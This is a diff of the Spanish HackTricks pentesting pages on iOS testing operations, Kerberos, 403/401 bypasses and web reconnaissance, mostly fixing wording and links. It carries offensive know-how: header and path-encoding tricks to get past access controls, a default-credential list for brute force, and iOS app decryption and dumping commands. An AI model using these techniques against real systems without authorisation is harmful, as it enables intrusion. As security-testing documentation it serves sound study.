 - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
 - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
 
-## Aún por probar
+## Yet to try
 
 - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
 - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

src/mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md

@@ -1,8 +1,8 @@
-# Operaciones Básicas de Pruebas en iOS
+# iOS Basic Testing Operations
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## **Resumen de Identificación y Acceso a Dispositivos iOS**
+## **Resumen de la Identificación y Acceso de Dispositivos iOS**
 
 ### **Identificación del UDID de un Dispositivo iOS**
 
@@ -29,7 +29,7 @@ $ system_profiler SPUSBDataType | sed -n -e '/iPad/,/Serial/p;/iPhone/,/Serial/p
 ```bash
 $ instruments -s devices
 ```
-### **Accediendo a la Shell del Dispositivo**
+### **Accediendo al Shell del Dispositivo**
 
 El **acceso SSH** se habilita al instalar el **paquete OpenSSH** después del jailbreak, permitiendo conexiones a través de `ssh root@<device_ip_address>`. Es crucial cambiar las contraseñas predeterminadas (`alpine`) para los usuarios `root` y `mobile` para asegurar el dispositivo.
 
@@ -48,7 +48,7 @@ Para restablecer una contraseña olvidada a la predeterminada (`alpine`), es nec
 
 ### **Transferencia de Archivos de Datos de la Aplicación**
 
-**Archivado y Recuperación a través de SSH y SCP:** Es sencillo archivar el directorio Data de la aplicación usando `tar` y luego transferirlo usando `scp`. El comando a continuación archiva el directorio Data en un archivo .tgz, que luego se extrae del dispositivo:
+**Archivado y Recuperación a través de SSH y SCP:** Es sencillo archivar el directorio de Datos de la aplicación usando `tar` y luego transferirlo usando `scp`. El comando a continuación archiva el directorio de Datos en un archivo .tgz, que luego se extrae del dispositivo:
 ```bash
 tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
 exit
@@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
 
 ### **Usando Objection para la Gestión de Archivos**
 
-**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo la descarga y carga de los mismos hacia y desde el dispositivo iOS.
+**Shell Interactiva con Objection:** Lanzar objection proporciona acceso al directorio Bundle de una aplicación. Desde aquí, puedes navegar al directorio Documents de la aplicación y gestionar archivos, incluyendo descargarlos y subirlos hacia y desde el dispositivo iOS.
 ```bash
 objection --gadget com.apple.mobilesafari explorer
 cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 
 ### **Proceso de Descifrado**
 
-**Descripción General del Descifrado Manual:** Los binarios de aplicaciones iOS están cifrados por Apple utilizando FairPlay. Para realizar ingeniería inversa, se debe volcar el binario descifrado de la memoria. El proceso de descifrado implica verificar la bandera PIE, ajustar las banderas de memoria, identificar la sección cifrada y luego volcar y reemplazar esta sección con su forma descifrada.
+**Descripción General del Descifrado Manual:** Los binarios de aplicaciones de iOS están cifrados por Apple utilizando FairPlay. Para realizar ingeniería inversa, se debe volcar el binario descifrado de la memoria. El proceso de descifrado implica verificar la bandera PIE, ajustar las banderas de memoria, identificar la sección cifrada y luego volcar y reemplazar esta sección con su forma descifrada.
 
 **Verificación y Modificación de la Bandera PIE:**
 ```bash
@@ -90,9 +90,9 @@ otool -Vh Original_App
 python change_macho_flags.py --no-pie Original_App
 otool -Vh Hello_World
 ```
-**Identificación de la sección encriptada y volcado de memoria:**
+**Identificación de la Sección Encriptada y Volcado de Memoria:**
 
-Determina las direcciones de inicio y fin de la sección encriptada usando `otool` y volca la memoria desde el dispositivo con jailbreak usando gdb.
+Determina las direcciones de inicio y fin de la sección encriptada usando `otool` y volcar la memoria desde el dispositivo con jailbreak usando gdb.
 ```bash
 otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 dump memory dump.bin 0x8000 0x10a4000
@@ -109,7 +109,7 @@ dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 
 #### **frida-ios-dump**
 
-La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se utiliza para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo que se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto.
+La herramienta [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) se emplea para **desencriptar y extraer aplicaciones automáticamente** de dispositivos iOS. Inicialmente, se debe configurar `dump.py` para conectarse al dispositivo iOS, lo cual se puede hacer a través de localhost en el puerto 2222 mediante **iproxy** o directamente a través de la dirección IP del dispositivo y el puerto.
 
 Las aplicaciones instaladas en el dispositivo se pueden listar con el comando:
 ```bash
@@ -123,7 +123,7 @@ Este comando inicia el volcado de la aplicación, lo que resulta en la creación
 
 #### **flexdecrypt**
 
-La herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto con su envoltura [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite la extracción de archivos IPA de aplicaciones instaladas. Los comandos de instalación para **flexdecrypt** en el dispositivo incluyen la descarga e instalación del paquete `.deb`. **flexdump** se puede usar para listar y volcar aplicaciones, como se muestra en los comandos a continuación:
+La herramienta [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt), junto con su envoltura [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac), permite la extracción de archivos IPA de aplicaciones instaladas. Los comandos de instalación para **flexdecrypt** en el dispositivo incluyen descargar e instalar el paquete `.deb`. **flexdump** se puede usar para listar y volcar aplicaciones, como se muestra en los comandos a continuación:
 ```bash
 apt install zip unzip
 wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@@ -164,7 +164,7 @@ Para instalar aplicaciones específicas de iPad en dispositivos iPhone o iPod to
 
 ## Referencias
 
-- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
+- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 - [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

src/network-services-pentesting/pentesting-kerberos-88/README.md

@@ -6,16 +6,16 @@
 
 **Kerberos** opera bajo un principio donde autentica a los usuarios sin gestionar directamente su acceso a los recursos. Esta es una distinción importante porque subraya el papel del protocolo en los marcos de seguridad.
 
-En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario se confirme antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad.
+En entornos como **Active Directory**, **Kerberos** es fundamental para establecer la identidad de los usuarios al validar sus contraseñas secretas. Este proceso asegura que la identidad de cada usuario sea confirmada antes de que interactúe con los recursos de la red. Sin embargo, **Kerberos** no extiende su funcionalidad para evaluar o hacer cumplir los permisos que un usuario tiene sobre recursos o servicios específicos. En cambio, proporciona una forma segura de autenticar a los usuarios, lo cual es un primer paso crítico en el proceso de seguridad.
 
-Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones sobre el acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas.
+Después de la autenticación por parte de **Kerberos**, el proceso de toma de decisiones respecto al acceso a los recursos se delega a servicios individuales dentro de la red. Estos servicios son responsables de evaluar los derechos y permisos del usuario autenticado, basándose en la información proporcionada por **Kerberos** sobre los privilegios del usuario. Este diseño permite una separación de preocupaciones entre la autenticación de la identidad de los usuarios y la gestión de sus derechos de acceso, lo que permite un enfoque más flexible y seguro para la gestión de recursos en redes distribuidas.
 
 **Puerto por Defecto:** 88/tcp/udp
 ```
 PORT   STATE SERVICE
 88/tcp open  kerberos-sec
 ```
-### **Para aprender a abusar de Kerberos, deberías leer la publicación sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**.**
+### **Para aprender a abusar de Kerberos, deberías leer la publicación sobre** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**.**
 
 ## Más
 

src/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

@@ -6,7 +6,7 @@
 
 Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 
-- Verifica los encabezados de respuesta, tal vez se pueda proporcionar alguna información. Por ejemplo, una **respuesta 200** a **HEAD** con `Content-Length: 55` significa que el **verbo HEAD puede acceder a la info**. Pero aún necesitas encontrar una manera de exfiltrar esa info.
+- Verifica los encabezados de respuesta, tal vez se pueda obtener alguna información. Por ejemplo, una **respuesta 200** a **HEAD** con `Content-Length: 55` significa que el **verbo HEAD puede acceder a la info**. Pero aún necesitas encontrar una manera de exfiltrar esa info.
 - Usar un encabezado HTTP como `X-HTTP-Method-Override: PUT` puede sobrescribir el verbo utilizado.
 - Usa el verbo **`TRACE`** y si tienes mucha suerte, tal vez en la respuesta también puedas ver los **encabezados añadidos por proxies intermedios** que podrían ser útiles.
 
@@ -14,7 +14,7 @@ Intenta usar **diferentes verbos** para acceder al archivo: `GET, HEAD, POST, PU
 
 - **Cambia el encabezado Host** a algún valor arbitrario ([que funcionó aquí](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
 - Intenta [**usar otros User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) para acceder al recurso.
-- **Fuzz HTTP Headers**: Intenta usar **Encabezados** de Proxy HTTP, autenticación HTTP básica y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
+- **Fuzz HTTP Headers**: Intenta usar encabezados de proxy HTTP, autenticación básica HTTP y NTLM de fuerza bruta (con solo algunas combinaciones) y otras técnicas. Para hacer todo esto, he creado la herramienta [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
 
 - `X-Originating-IP: 127.0.0.1`
 - `X-Forwarded-For: 127.0.0.1`
@@ -35,9 +35,9 @@ Si el **ruta está protegida**, puedes intentar eludir la protección de la ruta
 - `X-Original-URL: /admin/console`
 - `X-Rewrite-URL: /admin/console`
 
-- Si la página está **detrás de un proxy**, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
+- Si la página está **detrás de un proxy**, tal vez sea el proxy el que te impide acceder a la información privada. Intenta abusar de [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **o** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
 - Fuzz [**encabezados HTTP especiales**](special-http-headers.md) buscando diferentes respuestas.
-- **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **HTTP Methods**.
+- **Fuzz encabezados HTTP especiales** mientras haces fuzzing de **métodos HTTP**.
 - **Elimina el encabezado Host** y tal vez podrás eludir la protección.
 
 ## Path **Fuzzing**
@@ -45,7 +45,7 @@ Si el **ruta está protegida**, puedes intentar eludir la protección de la ruta
 Si _/path_ está bloqueado:
 
 - Intenta usar _**/**_**%2e/path \_(si el acceso está bloqueado por un proxy, esto podría eludir la protección). Intenta también**\_\*\* /%252e\*\*/path (doble codificación de URL)
-- Intenta **Unicode bypass**: _/**%ef%bc%8f**path_ (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será _//path_ y tal vez ya habrás eludido la verificación del nombre _/path_
+- Intenta **eludir Unicode**: _/**%ef%bc%8f**path_ (Los caracteres codificados en URL son como "/") así que cuando se codifiquen de nuevo será _//path_ y tal vez ya habrás eludido la verificación del nombre _/path_
 - **Otras elusiones de ruta**:
 - site.com/secret –> HTTP 403 Forbidden
 - site.com/SECRET –> HTTP 200 OK
@@ -94,7 +94,7 @@ Si usas HTTP/1.1 **intenta usar 1.0** o incluso prueba si **soporta 2.0**.
 ## **Brute Force**
 
 - **Adivina la contraseña**: Prueba las siguientes credenciales comunes. ¿Sabes algo sobre la víctima? ¿O el nombre del desafío CTF?
-- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Prueba autenticación básica, digest y NTLM.
+- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Intenta autenticación básica, digest y NTLM.
 ```:Common creds
 admin    admin
 admin    password

src/network-services-pentesting/pentesting-web/README.md

@@ -17,7 +17,7 @@ PORT    STATE SERVICE
 nc -v domain.com 80 # GET / HTTP/1.0
 openssl s_client -connect domain.com:443 # GET / HTTP/1.0
 ```
-### Guía de API Web
+### Web API Guidance
 
 {{#ref}}
 web-api-pentesting.md
@@ -54,7 +54,7 @@ whatweb -a 3 <URL> #Aggresive
 webtech -u <URL>
 webanalyze -host https://google.com -crawl 2
 ```
-Buscar **vulnerabilidades de la aplicación web** **versión**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
 
 ### **Verificar si hay algún WAF**
 
@@ -69,15 +69,15 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
 - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 - [**Apache**](apache.md)
 - [**Artifactory**](artifactory-hacking-guide.md)
-- [**Buckets**](buckets/)
+- [**Buckets**](buckets/index.html)
 - [**CGI**](cgi.md)
-- [**Drupal**](drupal/)
+- [**Drupal**](drupal/index.html)
 - [**Flask**](flask.md)
 - [**Git**](git.md)
 - [**Golang**](golang.md)
 - [**GraphQL**](graphql.md)
-- [**H2 - Base de datos SQL de Java**](h2-java-sql-database.md)
-- [**Trucos de IIS**](iis-internet-information-services.md)
+- [**H2 - Java SQL database**](h2-java-sql-database.md)
+- [**IIS tricks**](iis-internet-information-services.md)
 - [**JBOSS**](jboss.md)
 - [**Jenkins**](<[https:/github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/pentesting-web/broken-reference/README.md](https:/github.com/HackTricks-wiki/hacktricks-cloud/tree/master/pentesting-ci-cd/jenkins-security)/>)
 - [**Jira**](jira.md)
@@ -86,31 +86,31 @@ Algunos **trucos** para **encontrar vulnerabilidades** en diferentes **tecnolog
 - [**Laravel**](laravel.md)
 - [**Moodle**](moodle.md)
 - [**Nginx**](nginx.md)
-- [**PHP (php tiene muchos trucos interesantes que podrían ser explotados)**](php-tricks-esp/)
+- [**PHP (php tiene muchos trucos interesantes que podrían ser explotados)**](php-tricks-esp/index.html)
 - [**Python**](python.md)
 - [**Spring Actuators**](spring-actuators.md)
 - [**Symphony**](symphony.md)
-- [**Tomcat**](tomcat/)
+- [**Tomcat**](tomcat/index.html)
 - [**VMWare**](vmware-esx-vcenter....md)
 - [**Web API Pentesting**](web-api-pentesting.md)
 - [**WebDav**](put-method-webdav.md)
 - [**Werkzeug**](werkzeug.md)
 - [**Wordpress**](wordpress.md)
-- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/)
+- [**Electron Desktop (XSS a RCE)**](electron-desktop-apps/index.html)
 
-_Tenga en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\
-Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvide **buscar en Internet** nuevos trucos (¡y hágamelo saber!).
+_Toma en cuenta que el **mismo dominio** puede estar utilizando **diferentes tecnologías** en diferentes **puertos**, **carpetas** y **subdominios**._\
+Si la aplicación web está utilizando alguna **tecnología/plataforma bien conocida** mencionada anteriormente o **cualquiera otra**, no olvides **buscar en Internet** nuevos trucos (¡y házmelo saber!).
 
 ### Revisión de código fuente
 
-Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **su cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
+Si el **código fuente** de la aplicación está disponible en **github**, además de realizar por **tu cuenta una prueba de caja blanca** de la aplicación, hay **alguna información** que podría ser **útil** para la actual **prueba de caja negra**:
 
 - ¿Hay un **Change-log o Readme o archivo de versión** o algo con **información de versión accesible** a través de la web?
 - ¿Cómo y dónde se guardan las **credenciales**? ¿Hay algún **archivo** (¿accesible?) con credenciales (nombres de usuario o contraseñas)?
 - ¿Las **contraseñas** están en **texto plano**, **encriptadas** o qué **algoritmo de hash** se utiliza?
 - ¿Se está utilizando alguna **clave maestra** para encriptar algo? ¿Qué **algoritmo** se utiliza?
 - ¿Puedes **acceder a alguno de estos archivos** explotando alguna vulnerabilidad?
-- ¿Hay alguna **información interesante en github** (problemas resueltos y no resueltos)? ¿O en **historial de commits** (quizás alguna **contraseña introducida dentro de un antiguo commit**)?
+- ¿Hay alguna **información interesante en github** (resueltas y no resueltas) **issues**? ¿O en el **historial de commits** (quizás alguna **contraseña introducida dentro de un viejo commit**)?
 
 {{#ref}}
 code-review-tools.md
@@ -134,11 +134,11 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
 
 Si se utiliza un CMS, no olvides **ejecutar un escáner**, tal vez se encuentre algo jugoso:
 
-[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/)**, Railo, Axis2, Glassfish**\
-[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/), **Joomla**, **vBulletin** sitios web para problemas de seguridad. (GUI)\
-[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/)**, PrestaShop, Opencart**\
-**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/) **o** [**(M)oodle**](moodle.md)\
-[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
+[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
+[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** sitios web para problemas de seguridad. (GUI)\
+[**VulnX**](https://github.com/anouarbensaad/vulnx)**:** [**Joomla**](joomla.md)**,** [**Wordpress**](wordpress.md)**,** [**Drupal**](drupal/index.html)**, PrestaShop, Opencart**\
+**CMSMap**: [**(W)ordpress**](wordpress.md)**,** [**(J)oomla**](joomla.md)**,** [**(D)rupal**](drupal/index.html) **o** [**(M)oodle**](moodle.md)\
+[**droopscan**](https://github.com/droope/droopescan)**:** [**Drupal**](drupal/index.html)**,** [**Joomla**](joomla.md)**,** [**Moodle**](moodle.md)**, Silverstripe,** [**Wordpress**](wordpress.md)
 ```bash
 cmsmap [-f W] -F -d <URL>
 wpscan --force update -e --url <URL>
@@ -166,8 +166,8 @@ joomlavs.rb #https://github.com/rastating/joomlavs
 
 Los servidores web pueden **comportarse de manera inesperada** cuando se les envían datos extraños. Esto puede abrir **vulnerabilidades** o **divulgar información sensible**.
 
-- Accede a **páginas falsas** como /whatever_fake.php (.aspx,.html,.etc)
-- **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y los **valores de parámetros** para crear errores
+- Accede a **páginas falsas** como /whatever_fake.php (.aspx, .html, etc.)
+- **Agrega "\[]", "]]" y "\[\["** en los **valores de cookies** y **valores de parámetros** para crear errores
 - Genera un error dando entrada como **`/~randomthing/%s`** al **final** de la **URL**
 - Prueba **diferentes verbos HTTP** como PATCH, DEBUG o incorrectos como FAKE
 
@@ -176,7 +176,7 @@ Los servidores web pueden **comportarse de manera inesperada** cuando se les env
 Si descubres que **WebDav** está **habilitado** pero no tienes suficientes permisos para **subir archivos** en la carpeta raíz, intenta:
 
 - **Fuerza Bruta** de credenciales
-- **Sube archivos** a través de WebDav al **resto** de **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
+- **Sube archivos** a través de WebDav a las **demás** **carpetas encontradas** dentro de la página web. Puede que tengas permisos para subir archivos en otras carpetas.
 
 ### **Vulnerabilidades SSL/TLS**
 
@@ -206,24 +206,24 @@ Lanza algún tipo de **spider** dentro de la web. El objetivo del spider es **en
 - [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): Spider HTML, también indica "archivos jugosos".
 - [**evine** ](https://github.com/saeeddhqan/evine)(go): Spider HTML interactivo CLI. También busca en Archive.org.
 - [**meg**](https://github.com/tomnomnom/meg) (go): Esta herramienta no es un spider, pero puede ser útil. Solo puedes indicar un archivo con hosts y un archivo con rutas y meg obtendrá cada ruta en cada host y guardará la respuesta.
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no se mantiene, la versión precompilada es antigua y el código actual no compila.
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): Spider HTML con capacidades de renderizado JS. Sin embargo, parece que no está mantenido, la versión precompilada es antigua y el código actual no compila.
 - [**gau**](https://github.com/lc/gau) (go): Spider HTML que utiliza proveedores externos (wayback, otx, commoncrawl).
 - [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Este script encontrará URLs con parámetros y las listará.
 - [**galer**](https://github.com/dwisiswant0/galer) (go): Spider HTML con capacidades de renderizado JS.
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento de JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): Spider HTML, con capacidades de embellecimiento JS capaz de buscar nuevas rutas en archivos JS. También podría valer la pena echar un vistazo a [JSScanner](https://github.com/dark-warlord14/JSScanner), que es un envoltorio de LinkFinder.
 - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Para extraer endpoints tanto en el código fuente HTML como en archivos javascript incrustados. Útil para cazadores de bugs, equipos rojos, ninjas de infosec.
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no se mantiene.
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Un script de python 2.7 que utiliza Tornado y JSBeautifier para analizar URLs relativas de archivos JavaScript. Útil para descubrir fácilmente solicitudes AJAX. Parece que no está mantenido.
 - [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Dado un archivo (HTML) extraerá URLs de él utilizando expresiones regulares ingeniosas para encontrar y extraer las URLs relativas de archivos feos (minificados).
 - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, varias herramientas): Reúne información interesante de archivos JS utilizando varias herramientas.
 - [**subjs**](https://github.com/lc/subjs) (go): Encuentra archivos JS.
 - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Carga una página en un navegador sin cabeza e imprime todas las URLs cargadas para cargar la página.
 - [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): Herramienta de descubrimiento de contenido que mezcla varias opciones de las herramientas anteriores.
 - [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): Una extensión de Burp para encontrar rutas y parámetros en archivos JS.
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te dará el código JS embellecido.
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper): Una herramienta que dado el URL .js.map te proporcionará el código JS embellecido.
 - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Esta es una herramienta utilizada para descubrir endpoints para un objetivo dado.
 - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Descubre enlaces de la máquina Wayback (también descargando las respuestas en Wayback y buscando más enlaces).
 - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Rastrea (incluso llenando formularios) y también encuentra información sensible utilizando expresiones regulares específicas.
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un rastreador/spider de seguridad web GUI multi-funcional avanzado diseñado para profesionales de ciberseguridad.
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite es un avanzado rastreador/spider de seguridad web con múltiples funciones diseñado para profesionales de ciberseguridad.
 - [**jsluice**](https://github.com/BishopFox/jsluice) (go): Es un paquete de Go y [herramienta de línea de comandos](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice) para extraer URLs, rutas, secretos y otros datos interesantes del código fuente de JavaScript.
 - [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge es una simple **extensión de Burp Suite** para **extraer los parámetros y endpoints** de la solicitud para crear listas de palabras personalizadas para fuzzing y enumeración.
 - [**katana**](https://github.com/projectdiscovery/katana) (go): Herramienta impresionante para esto.
@@ -268,7 +268,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 
 ### Qué verificar en cada archivo encontrado
 
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTMLs que pueden ser propensos a tomas de control.
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Encuentra enlaces rotos dentro de HTML que pueden ser propensos a tomas de control.
 - **Copias de seguridad de archivos**: Una vez que hayas encontrado todos los archivos, busca copias de seguridad de todos los archivos ejecutables ("_.php_", "_.aspx_"...). Variaciones comunes para nombrar una copia de seguridad son: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp y file.old._ También puedes usar la herramienta [**bfac**](https://github.com/mazen160/bfac) **o** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
 - **Descubrir nuevos parámetros**: Puedes usar herramientas como [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **y** [**Param Miner**](https://github.com/PortSwigger/param-miner) **para descubrir parámetros ocultos. Si puedes, podrías intentar buscar** parámetros ocultos en cada archivo web ejecutable.
 - _Arjun todas las listas de palabras predeterminadas:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
@@ -279,7 +279,7 @@ _Ten en cuenta que cada vez que se descubra un nuevo directorio durante la fuerz
 - Si estás jugando **CTF**, un truco "común" es **ocultar** **información** dentro de comentarios a la **derecha** de la **página** (usando **cientos** de **espacios** para que no veas los datos si abres el código fuente con el navegador). Otra posibilidad es usar **varias nuevas líneas** y **ocultar información** en un comentario en la **parte inferior** de la página web.
 - **Claves API**: Si **encuentras alguna clave API** hay una guía que indica cómo usar claves API de diferentes plataformas: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird)
 - Claves API de Google: Si encuentras alguna clave API que se parezca a **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik puedes usar el proyecto [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) para verificar a qué APIs puede acceder la clave.
-- **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/).
+- **Buckets S3**: Mientras haces spidering, verifica si algún **subdominio** o algún **enlace** está relacionado con algún **bucket S3**. En ese caso, [**verifica** los **permisos** del bucket](buckets/index.html).
 
